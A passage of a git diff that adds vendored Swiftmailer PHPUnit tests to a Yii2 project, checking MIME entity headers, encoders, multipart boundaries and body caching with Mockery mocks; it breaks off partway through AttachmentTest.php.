+ } + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/AbstractMimeEntityTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/AbstractMimeEntityTest.php new file mode 100644 index 00000000..de928bc9 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/AbstractMimeEntityTest.php @@ -0,0 +1,1052 @@ +_createHeaderSet(); + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $this->_createCache() + ); + $this->assertSame($headers, $entity->getHeaders()); + } + + public function testContentTypeIsReturnedFromHeader() + { + $ctype = $this->_createHeader('Content-Type', 'image/jpeg-test'); + $headers = $this->_createHeaderSet(array('Content-Type' => $ctype)); + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $this->_createCache() + ); + $this->assertEquals('image/jpeg-test', $entity->getContentType()); + } + + public function testContentTypeIsSetInHeader() + { + $ctype = $this->_createHeader('Content-Type', 'text/plain', array(), false); + $headers = $this->_createHeaderSet(array('Content-Type' => $ctype)); + + $ctype->shouldReceive('setFieldBodyModel') + ->once() + ->with('image/jpeg'); + $ctype->shouldReceive('setFieldBodyModel') + ->zeroOrMoreTimes() + ->with(\Mockery::not('image/jpeg')); + + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $this->_createCache() + ); + $entity->setContentType('image/jpeg'); + } + + public function testContentTypeHeaderIsAddedIfNoneSet() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addParameterizedHeader') + ->once() + ->with('Content-Type', 'image/jpeg'); + $headers->shouldReceive('addParameterizedHeader') + ->zeroOrMoreTimes(); + + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $this->_createCache() + ); + $entity->setContentType('image/jpeg'); + } + + public function testContentTypeCanBeSetViaSetBody() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addParameterizedHeader') + ->once() + ->with('Content-Type', 'text/html'); + $headers->shouldReceive('addParameterizedHeader') + ->zeroOrMoreTimes(); + + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $this->_createCache() + ); + $entity->setBody('foo', 'text/html'); + } + + public function testGetEncoderFromConstructor() + { + $encoder = $this->_createEncoder('base64'); + $entity = $this->_createEntity($this->_createHeaderSet(), $encoder, + $this->_createCache() + ); + $this->assertSame($encoder, $entity->getEncoder()); + } + + public function testSetAndGetEncoder() + { + $encoder = $this->_createEncoder('base64'); + $headers = $this->_createHeaderSet(); + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $this->_createCache() + ); + $entity->setEncoder($encoder); + $this->assertSame($encoder, $entity->getEncoder()); + } + + public function testSettingEncoderUpdatesTransferEncoding() + { + $encoder = $this->_createEncoder('base64'); + $encoding = $this->_createHeader( + 'Content-Transfer-Encoding', '8bit', array(), false + ); + $headers = $this->_createHeaderSet(array( + 'Content-Transfer-Encoding' => $encoding, + )); + $encoding->shouldReceive('setFieldBodyModel') + ->once() + ->with('base64'); + $encoding->shouldReceive('setFieldBodyModel') + ->zeroOrMoreTimes(); + + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $this->_createCache() + ); + $entity->setEncoder($encoder); + } + + public function testSettingEncoderAddsEncodingHeaderIfNonePresent() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addTextHeader') + ->once() + ->with('Content-Transfer-Encoding', 'something'); + $headers->shouldReceive('addTextHeader') + ->zeroOrMoreTimes(); + + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $this->_createCache() + ); + $entity->setEncoder($this->_createEncoder('something')); + } + + public function testIdIsReturnedFromHeader() + { + /* -- RFC 2045, 7. + In constructing a high-level user agent, it may be desirable to allow + one body to make reference to another. Accordingly, bodies may be + labelled using the "Content-ID" header field, which is syntactically + identical to the "Message-ID" header field + */ + + $cid = $this->_createHeader('Content-ID', 'zip@button'); + $headers = $this->_createHeaderSet(array('Content-ID' => $cid)); + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $this->_createCache() + ); + $this->assertEquals('zip@button', $entity->getId()); + } + + public function testIdIsSetInHeader() + { + $cid = $this->_createHeader('Content-ID', 'zip@button', array(), false); + $headers = $this->_createHeaderSet(array('Content-ID' => $cid)); + + $cid->shouldReceive('setFieldBodyModel') + ->once() + ->with('foo@bar'); + $cid->shouldReceive('setFieldBodyModel') + ->zeroOrMoreTimes(); + + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $this->_createCache() + ); + $entity->setId('foo@bar'); + } + + public function testIdIsAutoGenerated() + { + $entity = $this->_createEntity($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertRegExp('/^.*?@.*?$/D', $entity->getId()); + } + + public function testGenerateIdCreatesNewId() + { + $headers = $this->_createHeaderSet(); + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $this->_createCache() + ); + $id1 = $entity->generateId(); + $id2 = $entity->generateId(); + $this->assertNotEquals($id1, $id2); + } + + public function testGenerateIdSetsNewId() + { + $headers = $this->_createHeaderSet(); + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $this->_createCache() + ); + $id = $entity->generateId(); + $this->assertEquals($id, $entity->getId()); + } + + public function testDescriptionIsReadFromHeader() + { + /* -- RFC 2045, 8. + The ability to associate some descriptive information with a given + body is often desirable. For example, it may be useful to mark an + "image" body as "a picture of the Space Shuttle Endeavor." Such text + may be placed in the Content-Description header field. This header + field is always optional. + */ + + $desc = $this->_createHeader('Content-Description', 'something'); + $headers = $this->_createHeaderSet(array('Content-Description' => $desc)); + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $this->_createCache() + ); + $this->assertEquals('something', $entity->getDescription()); + } + + public function testDescriptionIsSetInHeader() + { + $desc = $this->_createHeader('Content-Description', '', array(), false); + $desc->shouldReceive('setFieldBodyModel')->once()->with('whatever'); + + $headers = $this->_createHeaderSet(array('Content-Description' => $desc)); + + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $this->_createCache() + ); + $entity->setDescription('whatever'); + } + + public function testDescriptionHeaderIsAddedIfNotPresent() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addTextHeader') + ->once() + ->with('Content-Description', 'whatever'); + $headers->shouldReceive('addTextHeader') + ->zeroOrMoreTimes(); + + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $this->_createCache() + ); + $entity->setDescription('whatever'); + } + + public function testSetAndGetMaxLineLength() + { + $entity = $this->_createEntity($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + $entity->setMaxLineLength(60); + $this->assertEquals(60, $entity->getMaxLineLength()); + } + + public function testEncoderIsUsedForStringGeneration() + { + $encoder = $this->_createEncoder('base64', false); + $encoder->expects($this->once()) + ->method('encodeString') + ->with('blah'); + + $entity = $this->_createEntity($this->_createHeaderSet(), + $encoder, $this->_createCache() + ); + $entity->setBody("blah"); + $entity->toString(); + } + + public function testMaxLineLengthIsProvidedWhenEncoding() + { + $encoder = $this->_createEncoder('base64', false); + $encoder->expects($this->once()) + ->method('encodeString') + ->with('blah', 0, 65); + + $entity = $this->_createEntity($this->_createHeaderSet(), + $encoder, $this->_createCache() + ); + $entity->setBody("blah"); + $entity->setMaxLineLength(65); + $entity->toString(); + } + + public function testHeadersAppearInString() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('toString') + ->once() + ->andReturn( + "Content-Type: text/plain; charset=utf-8\r\n". + "X-MyHeader: foobar\r\n" + ); + + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $this->_createCache() + ); + $this->assertEquals( + "Content-Type: text/plain; charset=utf-8\r\n". + "X-MyHeader: foobar\r\n", + $entity->toString() + ); + } + + public function testSetAndGetBody() + { + $entity = $this->_createEntity($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + $entity->setBody("blah\r\nblah!"); + $this->assertEquals("blah\r\nblah!", $entity->getBody()); + } + + public function testBodyIsAppended() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('toString') + ->once() + ->andReturn("Content-Type: text/plain; charset=utf-8\r\n"); + + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $this->_createCache() + ); + $entity->setBody("blah\r\nblah!"); + $this->assertEquals( + "Content-Type: text/plain; charset=utf-8\r\n". + "\r\n". + "blah\r\nblah!", + $entity->toString() + ); + } + + public function testGetBodyReturnsStringFromByteStream() + { + $os = $this->_createOutputStream("byte stream string"); + $entity = $this->_createEntity($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + $entity->setBody($os); + $this->assertEquals("byte stream string", $entity->getBody()); + } + + public function testByteStreamBodyIsAppended() + { + $headers = $this->_createHeaderSet(array(), false); + $os = $this->_createOutputStream("streamed"); + $headers->shouldReceive('toString') + ->once() + ->andReturn("Content-Type: text/plain; charset=utf-8\r\n"); + + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $this->_createCache() + ); + $entity->setBody($os); + $this->assertEquals( + "Content-Type: text/plain; charset=utf-8\r\n". + "\r\n". + "streamed", + $entity->toString() + ); + } + + public function testBoundaryCanBeRetrieved() + { + /* -- RFC 2046, 5.1.1. + boundary := 0*69 bcharsnospace + + bchars := bcharsnospace / " " + + bcharsnospace := DIGIT / ALPHA / "'" / "(" / ")" / + "+" / "_" / "," / "-" / "." / + "/" / ":" / "=" / "?" + */ + + $entity = $this->_createEntity($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertRegExp( + '/^[a-zA-Z0-9\'\(\)\+_\-,\.\/:=\?\ ]{0,69}[a-zA-Z0-9\'\(\)\+_\-,\.\/:=\?]$/D', + $entity->getBoundary() + ); + } + + public function testBoundaryNeverChanges() + { + $entity = $this->_createEntity($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + $firstBoundary = $entity->getBoundary(); + for ($i = 0; $i < 10; $i++) { + $this->assertEquals($firstBoundary, $entity->getBoundary()); + } + } + + public function testBoundaryCanBeSet() + { + $entity = $this->_createEntity($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + $entity->setBoundary('foobar'); + $this->assertEquals('foobar', $entity->getBoundary()); + } + + public function testAddingChildrenGeneratesBoundaryInHeaders() + { + $child = $this->_createChild(); + $cType = $this->_createHeader('Content-Type', 'text/plain', array(), false); + $cType->shouldReceive('setParameter') + ->once() + ->with('boundary', \Mockery::any()); + $cType->shouldReceive('setParameter') + ->zeroOrMoreTimes(); + + $entity = $this->_createEntity($this->_createHeaderSet(array( + 'Content-Type' => $cType, + )), + $this->_createEncoder(), $this->_createCache() + ); + $entity->setChildren(array($child)); + } + + public function testChildrenOfLevelAttachmentAndLessCauseMultipartMixed() + { + for ($level = Swift_Mime_MimeEntity::LEVEL_MIXED; + $level > Swift_Mime_MimeEntity::LEVEL_TOP; $level /= 2) { + $child = $this->_createChild($level); + $cType = $this->_createHeader( + 'Content-Type', 'text/plain', array(), false + ); + $cType->shouldReceive('setFieldBodyModel') + ->once() + ->with('multipart/mixed'); + $cType->shouldReceive('setFieldBodyModel') + ->zeroOrMoreTimes(); + + $entity = $this->_createEntity($this->_createHeaderSet(array( + 'Content-Type' => $cType,)), + $this->_createEncoder(), $this->_createCache() + ); + $entity->setChildren(array($child)); + } + } + + public function testChildrenOfLevelAlternativeAndLessCauseMultipartAlternative() + { + for ($level = Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE; + $level > Swift_Mime_MimeEntity::LEVEL_MIXED; $level /= 2) { + $child = $this->_createChild($level); + $cType = $this->_createHeader( + 'Content-Type', 'text/plain', array(), false + ); + $cType->shouldReceive('setFieldBodyModel') + ->once() + ->with('multipart/alternative'); + $cType->shouldReceive('setFieldBodyModel') + ->zeroOrMoreTimes(); + + $entity = $this->_createEntity($this->_createHeaderSet(array( + 'Content-Type' => $cType,)), + $this->_createEncoder(), $this->_createCache() + ); + $entity->setChildren(array($child)); + } + } + + public function testChildrenOfLevelRelatedAndLessCauseMultipartRelated() + { + for ($level = Swift_Mime_MimeEntity::LEVEL_RELATED; + $level > Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE; $level /= 2) { + $child = $this->_createChild($level); + $cType = $this->_createHeader( + 'Content-Type', 'text/plain', array(), false + ); + $cType->shouldReceive('setFieldBodyModel') + ->once() + ->with('multipart/related'); + $cType->shouldReceive('setFieldBodyModel') + ->zeroOrMoreTimes(); + + $entity = $this->_createEntity($this->_createHeaderSet(array( + 'Content-Type' => $cType,)), + $this->_createEncoder(), $this->_createCache() + ); + $entity->setChildren(array($child)); + } + } + + public function testHighestLevelChildDeterminesContentType() + { + $combinations = array( + array('levels' => array(Swift_Mime_MimeEntity::LEVEL_MIXED, + Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE, + Swift_Mime_MimeEntity::LEVEL_RELATED, + ), + 'type' => 'multipart/mixed', + ), + array('levels' => array(Swift_Mime_MimeEntity::LEVEL_MIXED, + Swift_Mime_MimeEntity::LEVEL_RELATED, + ), + 'type' => 'multipart/mixed', + ), + array('levels' => array(Swift_Mime_MimeEntity::LEVEL_MIXED, + Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE, + ), + 'type' => 'multipart/mixed', + ), + array('levels' => array(Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE, + Swift_Mime_MimeEntity::LEVEL_RELATED, + ), + 'type' => 'multipart/alternative', + ), + ); + + foreach ($combinations as $combination) { + $children = array(); + foreach ($combination['levels'] as $level) { + $children[] = $this->_createChild($level); + } + + $cType = $this->_createHeader( + 'Content-Type', 'text/plain', array(), false + ); + $cType->shouldReceive('setFieldBodyModel') + ->once() + ->with($combination['type']); + + $headerSet = $this->_createHeaderSet(array('Content-Type' => $cType)); + $headerSet->shouldReceive('newInstance') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use ($headerSet) { + return $headerSet; + }); + $entity = $this->_createEntity($headerSet, + $this->_createEncoder(), $this->_createCache() + ); + $entity->setChildren($children); + } + } + + public function testChildrenAppearNestedInString() + { + /* -- RFC 2046, 5.1.1. + (excerpt too verbose to paste here) + */ + + $headers = $this->_createHeaderSet(array(), false); + + $child1 = new MimeEntityFixture(Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE, + "Content-Type: text/plain\r\n". + "\r\n". + "foobar" + ); + + $child2 = new MimeEntityFixture(Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE, + "Content-Type: text/html\r\n". + "\r\n". + "foobar" + ); + + $headers->shouldReceive('toString') + ->zeroOrMoreTimes() + ->andReturn("Content-Type: multipart/alternative; boundary=\"xxx\"\r\n"); + + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $this->_createCache() + ); + $entity->setBoundary('xxx'); + $entity->setChildren(array($child1, $child2)); + + $this->assertEquals( + "Content-Type: multipart/alternative; boundary=\"xxx\"\r\n". + "\r\n". + "\r\n--xxx\r\n". + "Content-Type: text/plain\r\n". + "\r\n". + "foobar\r\n". + "\r\n--xxx\r\n". + "Content-Type: text/html\r\n". + "\r\n". + "foobar\r\n". + "\r\n--xxx--\r\n", + $entity->toString() + ); + } + + public function testMixingLevelsIsHierarchical() + { + $headers = $this->_createHeaderSet(array(), false); + $newHeaders = $this->_createHeaderSet(array(), false); + + $part = $this->_createChild(Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE, + "Content-Type: text/plain\r\n". + "\r\n". + "foobar" + ); + + $attachment = $this->_createChild(Swift_Mime_MimeEntity::LEVEL_MIXED, + "Content-Type: application/octet-stream\r\n". + "\r\n". + "data" + ); + + $headers->shouldReceive('toString') + ->zeroOrMoreTimes() + ->andReturn("Content-Type: multipart/mixed; boundary=\"xxx\"\r\n"); + $headers->shouldReceive('newInstance') + ->zeroOrMoreTimes() + ->andReturn($newHeaders); + $newHeaders->shouldReceive('toString') + ->zeroOrMoreTimes() + ->andReturn("Content-Type: multipart/alternative; boundary=\"yyy\"\r\n"); + + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $this->_createCache() + ); + $entity->setBoundary('xxx'); + $entity->setChildren(array($part, $attachment)); + + $this->assertRegExp( + "~^". + "Content-Type: multipart/mixed; boundary=\"xxx\"\r\n". + "\r\n\r\n--xxx\r\n". + "Content-Type: multipart/alternative; boundary=\"yyy\"\r\n". + "\r\n\r\n--(.*?)\r\n". + "Content-Type: text/plain\r\n". + "\r\n". + "foobar". + "\r\n\r\n--\\1--\r\n". + "\r\n\r\n--xxx\r\n". + "Content-Type: application/octet-stream\r\n". + "\r\n". + "data". + "\r\n\r\n--xxx--\r\n". + "\$~", + $entity->toString() + ); + } + + public function testSettingEncoderNotifiesChildren() + { + $child = $this->_createChild(0, '', false); + $encoder = $this->_createEncoder('base64'); + + $child->shouldReceive('encoderChanged') + ->once() + ->with($encoder); + + $entity = $this->_createEntity($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + $entity->setChildren(array($child)); + $entity->setEncoder($encoder); + } + + public function testReceiptOfEncoderChangeNotifiesChildren() + { + $child = $this->_createChild(0, '', false); + $encoder = $this->_createEncoder('base64'); + + $child->shouldReceive('encoderChanged') + ->once() + ->with($encoder); + + $entity = $this->_createEntity($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + $entity->setChildren(array($child)); + $entity->encoderChanged($encoder); + } + + public function testReceiptOfCharsetChangeNotifiesChildren() + { + $child = $this->_createChild(0, '', false); + $child->shouldReceive('charsetChanged') + ->once() + ->with('windows-874'); + + $entity = $this->_createEntity($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + $entity->setChildren(array($child)); + $entity->charsetChanged('windows-874'); + } + + public function testEntityIsWrittenToByteStream() + { + $entity = $this->_createEntity($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + $is = $this->_createInputStream(false); + $is->expects($this->atLeastOnce()) + ->method('write'); + + $entity->toByteStream($is); + } + + public function testEntityHeadersAreComittedToByteStream() + { + $entity = $this->_createEntity($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + $is = $this->_createInputStream(false); + $is->expects($this->atLeastOnce()) + ->method('write'); + $is->expects($this->atLeastOnce()) + ->method('commit'); + + $entity->toByteStream($is); + } + + public function testOrderingTextBeforeHtml() + { + $htmlChild = new MimeEntityFixture(Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE, + "Content-Type: text/html\r\n". + "\r\n". + "HTML PART", + 'text/html' + ); + $textChild = new MimeEntityFixture(Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE, + "Content-Type: text/plain\r\n". + "\r\n". + "TEXT PART", + 'text/plain' + ); + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('toString') + ->zeroOrMoreTimes() + ->andReturn("Content-Type: multipart/alternative; boundary=\"xxx\"\r\n"); + + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $this->_createCache() + ); + $entity->setBoundary('xxx'); + $entity->setChildren(array($htmlChild, $textChild)); + + $this->assertEquals( + "Content-Type: multipart/alternative; boundary=\"xxx\"\r\n". + "\r\n\r\n--xxx\r\n". + "Content-Type: text/plain\r\n". + "\r\n". + "TEXT PART". + "\r\n\r\n--xxx\r\n". + "Content-Type: text/html\r\n". + "\r\n". + "HTML PART". + "\r\n\r\n--xxx--\r\n", + $entity->toString() + ); + } + + public function testUnsettingChildrenRestoresContentType() + { + $cType = $this->_createHeader('Content-Type', 'text/plain', array(), false); + $child = $this->_createChild(Swift_Mime_MimeEntity::LEVEL_ALTERNATIVE); + + $cType->shouldReceive('setFieldBodyModel') + ->twice() + ->with('image/jpeg'); + $cType->shouldReceive('setFieldBodyModel') + ->once() + ->with('multipart/alternative'); + $cType->shouldReceive('setFieldBodyModel') + ->zeroOrMoreTimes() + ->with(\Mockery::not('multipart/alternative', 'image/jpeg')); + + $entity = $this->_createEntity($this->_createHeaderSet(array( + 'Content-Type' => $cType, + )), + $this->_createEncoder(), $this->_createCache() + ); + + $entity->setContentType('image/jpeg'); + $entity->setChildren(array($child)); + $entity->setChildren(array()); + } + + public function testBodyIsReadFromCacheWhenUsingToStringIfPresent() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('toString') + ->zeroOrMoreTimes() + ->andReturn("Content-Type: text/plain; charset=utf-8\r\n"); + + $cache = $this->_createCache(false); + $cache->shouldReceive('hasKey') + ->once() + ->with(\Mockery::any(), 'body') + ->andReturn(true); + $cache->shouldReceive('getString') + ->once() + ->with(\Mockery::any(), 'body') + ->andReturn("\r\ncache\r\ncache!"); + + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $cache + ); + + $entity->setBody("blah\r\nblah!"); + $this->assertEquals( + "Content-Type: text/plain; charset=utf-8\r\n". + "\r\n". + "cache\r\ncache!", + $entity->toString() + ); + } + + public function testBodyIsAddedToCacheWhenUsingToString() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('toString') + ->zeroOrMoreTimes() + ->andReturn("Content-Type: text/plain; charset=utf-8\r\n"); + + $cache = $this->_createCache(false); + $cache->shouldReceive('hasKey') + ->once() + ->with(\Mockery::any(), 'body') + ->andReturn(false); + $cache->shouldReceive('setString') + ->once() + ->with(\Mockery::any(), 'body', "\r\nblah\r\nblah!", Swift_KeyCache::MODE_WRITE); + + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $cache + ); + + $entity->setBody("blah\r\nblah!"); + $entity->toString(); + } + + public function testBodyIsClearedFromCacheIfNewBodySet() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('toString') + ->zeroOrMoreTimes() + ->andReturn("Content-Type: text/plain; charset=utf-8\r\n"); + + $cache = $this->_createCache(false); + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $cache + ); + + $entity->setBody("blah\r\nblah!"); + $entity->toString(); + + // We set the expectation at this point because we only care what happens when calling setBody() + $cache->shouldReceive('clearKey') + ->once() + ->with(\Mockery::any(), 'body'); + + $entity->setBody("new\r\nnew!"); + } + + public function testBodyIsNotClearedFromCacheIfSameBodySet() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('toString') + ->zeroOrMoreTimes() + ->andReturn("Content-Type: text/plain; charset=utf-8\r\n"); + + $cache = $this->_createCache(false); + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $cache + ); + + $entity->setBody("blah\r\nblah!"); + $entity->toString(); + + // We set the expectation at this point because we only care what happens when calling setBody() + $cache->shouldReceive('clearKey') + ->never(); + + $entity->setBody("blah\r\nblah!"); + } + + public function testBodyIsClearedFromCacheIfNewEncoderSet() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('toString') + ->zeroOrMoreTimes() + ->andReturn("Content-Type: text/plain; charset=utf-8\r\n"); + + $cache = $this->_createCache(false); + $otherEncoder = $this->_createEncoder(); + $entity = $this->_createEntity($headers, $this->_createEncoder(), + $cache + ); + + $entity->setBody("blah\r\nblah!"); + $entity->toString(); + + // We set the expectation at this point because we only care what happens when calling setEncoder() + $cache->shouldReceive('clearKey') + ->once() + ->with(\Mockery::any(), 'body'); + + $entity->setEncoder($otherEncoder); + } + + public function testBodyIsReadFromCacheWhenUsingToByteStreamIfPresent() + { + $is = $this->_createInputStream(); + $cache = $this->_createCache(false); + $cache->shouldReceive('hasKey') + ->once() + ->with(\Mockery::any(), 'body') + ->andReturn(true); + $cache->shouldReceive('exportToByteStream') + ->once() + ->with(\Mockery::any(), 'body', $is); + + $entity = $this->_createEntity($this->_createHeaderSet(), + $this->_createEncoder(), $cache + ); + $entity->setBody('foo'); + + $entity->toByteStream($is); + } + + public function testBodyIsAddedToCacheWhenUsingToByteStream() + { + $is = $this->_createInputStream(); + $cache = $this->_createCache(false); + $cache->shouldReceive('hasKey') + ->once() + ->with(\Mockery::any(), 'body') + ->andReturn(false); + $cache->shouldReceive('getInputByteStream') + ->once() + ->with(\Mockery::any(), 'body'); + + $entity = $this->_createEntity($this->_createHeaderSet(), + $this->_createEncoder(), $cache + ); + $entity->setBody('foo'); + + $entity->toByteStream($is); + } + + public function testFluidInterface() + { + $entity = $this->_createEntity($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + + $this->assertSame($entity, + $entity + ->setContentType('text/plain') + ->setEncoder($this->_createEncoder()) + ->setId('foo@bar') + ->setDescription('my description') + ->setMaxLineLength(998) + ->setBody('xx') + ->setBoundary('xyz') + ->setChildren(array()) + ); + } + + // -- Private helpers + + abstract protected function _createEntity($headers, $encoder, $cache); + + protected function _createChild($level = null, $string = '', $stub = true) + { + $child = $this->getMockery('Swift_Mime_MimeEntity')->shouldIgnoreMissing(); + if (isset($level)) { + $child->shouldReceive('getNestingLevel') + ->zeroOrMoreTimes() + ->andReturn($level); + } + $child->shouldReceive('toString') + ->zeroOrMoreTimes() + ->andReturn($string); + + return $child; + } + + protected function _createEncoder($name = 'quoted-printable', $stub = true) + { + $encoder = $this->getMock('Swift_Mime_ContentEncoder'); + $encoder->expects($this->any()) + ->method('getName') + ->will($this->returnValue($name)); + $encoder->expects($this->any()) + ->method('encodeString') + ->will($this->returnCallback(function () { + $args = func_get_args(); + + return array_shift($args); + })); + + return $encoder; + } + + protected function _createCache($stub = true) + { + return $this->getMockery('Swift_KeyCache')->shouldIgnoreMissing(); + } + + protected function _createHeaderSet($headers = array(), $stub = true) + { + $set = $this->getMockery('Swift_Mime_HeaderSet')->shouldIgnoreMissing(); + $set->shouldReceive('get') + ->zeroOrMoreTimes() + ->andReturnUsing(function ($key) use ($headers) { + return $headers[$key]; + }); + $set->shouldReceive('has') + ->zeroOrMoreTimes() + ->andReturnUsing(function ($key) use ($headers) { + return array_key_exists($key, $headers); + }); + + return $set; + } + + protected function _createHeader($name, $model = null, $params = array(), $stub = true) + { + $header = $this->getMockery('Swift_Mime_ParameterizedHeader')->shouldIgnoreMissing(); + $header->shouldReceive('getFieldName') + ->zeroOrMoreTimes() + ->andReturn($name); + $header->shouldReceive('getFieldBodyModel') + ->zeroOrMoreTimes() + ->andReturn($model); + $header->shouldReceive('getParameter') + ->zeroOrMoreTimes() + ->andReturnUsing(function ($key) use ($params) { + return $params[$key]; + }); + + return $header; + } + + protected function _createOutputStream($data = null, $stub = true) + { + $os = $this->getMockery('Swift_OutputByteStream'); + if (isset($data)) { + $os->shouldReceive('read') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use ($data) { + static $first = true; + if (!$first) { + return false; + } + + $first = false; + + return $data; + }); + } + + return $os; + } + + protected function _createInputStream($stub = true) + { + return $this->getMock('Swift_InputByteStream'); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/AttachmentTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/AttachmentTest.php new file mode 100644 index 00000000..ca0b8d91 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Mime/AttachmentTest.php @@ -0,0 +1,318 @@ +_createAttachment($this->_createHeaderSet(), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertEquals( + Swift_Mime_MimeEntity::LEVEL_MIXED, $attachment->getNestingLevel() + ); + } + + public function testDispositionIsReturnedFromHeader() + { + /* -- RFC 2183, 2.1, 2.2. + */ + + $disposition = $this->_createHeader('Content-Disposition', 'attachment'); + $attachment = $this->_createAttachment($this->_createHeaderSet(array( + 'Content-Disposition' => $disposition,)), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertEquals('attachment', $attachment->getDisposition()); + } + + public function testDispositionIsSetInHeader() + { + $disposition = $this->_createHeader('Content-Disposition', 'attachment', + array(), false + ); + $disposition->shouldReceive('setFieldBodyModel') + ->once() + ->with('inline'); + $disposition->shouldReceive('setFieldBodyModel') + ->zeroOrMoreTimes(); + + $attachment = $this->_createAttachment($this->_createHeaderSet(array( + 'Content-Disposition' => $disposition,)), + $this->_createEncoder(), $this->_createCache() + ); + $attachment->setDisposition('inline'); + } + + public function testDispositionIsAddedIfNonePresent() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addParameterizedHeader') + ->once() + ->with('Content-Disposition', 'inline'); + $headers->shouldReceive('addParameterizedHeader') + ->zeroOrMoreTimes(); + + $attachment = $this->_createAttachment($headers, $this->_createEncoder(), + $this->_createCache() + ); + $attachment->setDisposition('inline'); + } + + public function testDispositionIsAutoDefaultedToAttachment() + { + $headers = $this->_createHeaderSet(array(), false); + $headers->shouldReceive('addParameterizedHeader') + ->once() + ->with('Content-Disposition', 'attachment'); + $headers->shouldReceive('addParameterizedHeader') + ->zeroOrMoreTimes(); + + $attachment = $this->_createAttachment($headers, $this->_createEncoder(), + $this->_createCache() + ); + } + + public function testDefaultContentTypeInitializedToOctetStream() + { + $cType = $this->_createHeader('Content-Type', '', + array(), false + ); + $cType->shouldReceive('setFieldBodyModel') + ->once() + ->with('application/octet-stream'); + $cType->shouldReceive('setFieldBodyModel') + ->zeroOrMoreTimes(); + + $attachment = $this->_createAttachment($this->_createHeaderSet(array( + 'Content-Type' => $cType,)), + $this->_createEncoder(), $this->_createCache() + ); + } + + public function testFilenameIsReturnedFromHeader() + { + /* -- RFC 2183, 2.3. + */ + + $disposition = $this->_createHeader('Content-Disposition', 'attachment', + array('filename' => 'foo.txt') + ); + $attachment = $this->_createAttachment($this->_createHeaderSet(array( + 'Content-Disposition' => $disposition,)), + $this->_createEncoder(), $this->_createCache() + ); + $this->assertEquals('foo.txt', $attachment->getFilename()); + } + + public function testFilenameIsSetInHeader() + { + $disposition = $this->_createHeader('Content-Disposition', 'attachment', + array('filename' => 'foo.txt'), false + ); + $disposition->shouldReceive('setParameter') + ->once() + ->with('filename', 'bar.txt'); + $disposition->shouldReceive('setParameter') + ->zeroOrMoreTimes(); + + $attachment = 